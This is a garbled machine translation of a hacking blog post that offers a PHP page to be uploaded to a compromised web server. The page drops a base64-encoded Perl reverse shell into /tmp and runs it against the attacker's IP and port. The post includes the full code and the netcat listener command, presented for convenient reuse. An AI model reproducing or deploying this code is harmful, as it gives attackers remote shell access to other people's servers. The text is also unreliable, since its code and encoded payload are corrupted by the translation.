Very helpless, did not think of any good way, then a flash of inspiration. Put a PHP page, which can directly bounce back to the shell, not to mention the console under the operation than the Webshell more convenient, there will be no time-out or the like.
Because I do not understand PHP, so I looked for the wretched Connaught and drizzle modified the code, bounce code is extracted from the phpspy2008 inside, but can not be used directly, need to change into a separate PHP file. After uploading, local listening to a port, in the code to set the bounce IP and port, and then directly access, will bounce back a shell.
Statement, there is no technical content, mainly used for convenience. So each time you can directly access the PHP page, directly bounce back to the shell, do not have to do other tedious operation, the following pasted out the code has been modified
Copy CodeThe code is as follows:
function which ($PR) {
$path = Execute ("which $pr");
Return ($path $path: $PR);
}
function Execute ($CFE) {
$res = ";
if ($CFE) {
if (function_exists (' exec ')) {
@exec ($cfe, $res);
$res = Join ("\ n", $res);
} elseif (Function_exists (' shell_exec ')) {
$res = @shell_exec ($CFE);
} elseif (Function_exists (' system ')) {
@ob_start ();
@system ($CFE);
$res = @ob_get_contents ();
@ob_end_clean ();
} elseif (Function_exists (' PassThru ')) {
@ob_start ();
@passthru ($CFE);
$res = @ob_get_contents ();
@ob_end_clean ();
} elseif (@is_resource ($f = @popen ($cfe, "R")) {
$res = ";
while (! @feof ($f)) {
$res. = @fread ($f, 1024);
}
@pclose ($f);
}
}
return $res;
}
Function CF ($fname, $text) {
if ($fp = @fopen ($fname, ' W ')) {
@fputs ($fp, @base64_decode ($text));
@fclose ($FP);
}
}
$yourip = "Your IP";
$yourport = ' your port ';
$usedb = Array (' perl ' = ' Perl ', ' c ' = ' C ');
$back _connect= " IYEVDXNYL2JPBI9WZXJSDQP1C2UGU29JA2V0OW0KJGNTZD0GIMX5BNGIOW0KJHN5C3RLBT0GJ2VJAG8GIMB1BMFTZSATYWAIO2VJ ".
"Ag8gimbpzgaioy9iaw4vc2gnow0kjda9jgntzdsncir0yxjnzxq9jefsr1zbmf07dqokcg9ydd0kqvjhvlsxxtsncirpywrkcj1pbmv0x2f0b24ojhr ".
"Hcmdldckgfhwgzgllkcjfcnjvcjogjcfcbiipow0kjhbhzgrypxnvy2thzgryx2lukcrwb3j0lcakawfkzhipihx8igrpzsgirxjyb3i6icqhxg4ikt ".
"Sncirwcm90bz1nzxrwcm90b2j5bmftzsgndgnwjyk7dqpzb2nrzxqou09ds0vulcbqrl9jtkvulcbtt0nlx1nuukvbtswgjhbyb3rvksb8fcbkawuoi ".
"Kvycm9yoiakivxuiik7dqpjb25uzwn0kfnpq0tfvcwgjhbhzgryksb8fcbkawuoikvycm9yoiakivxuiik7dqpvcgvukfnurelolcaipiztt0nlrvqi ".
"Ktsncm9wzw4ou1ret1vulcaipiztt0nlrvqiktsncm9wzw4ou1rervjslcaipiztt0nlrvqiktsncnn5c3rlbsgkc3lzdgvtktsncmnsb3nlkfnurel ".
"oktsncmnsb3nlkfnure9vvck7dqpjbg9zzshtverfulipow==";
CF ('/TMP/.BC ', $back _connect);
$res = Execute (which (' Perl '). "/tmp/.bc $yourip $yourport &");
?>
Execute nc-l-vv-p port locally and then access this PHP page http://www.site.com/fuck.php Local will get a rebound shell.
Only wretched stream use, if there is any good wretched method, please advise
http://www.bkjia.com/PHPjc/319990.html www.bkjia.com true http://www.bkjia.com/PHPjc/319990.html techarticle very helpless, did not think of any good way, then a flash of inspiration. Put a PHP page, which can be directly bounced back to the shell, not to mention the operation under the console more convenient than Webshell, nor ...
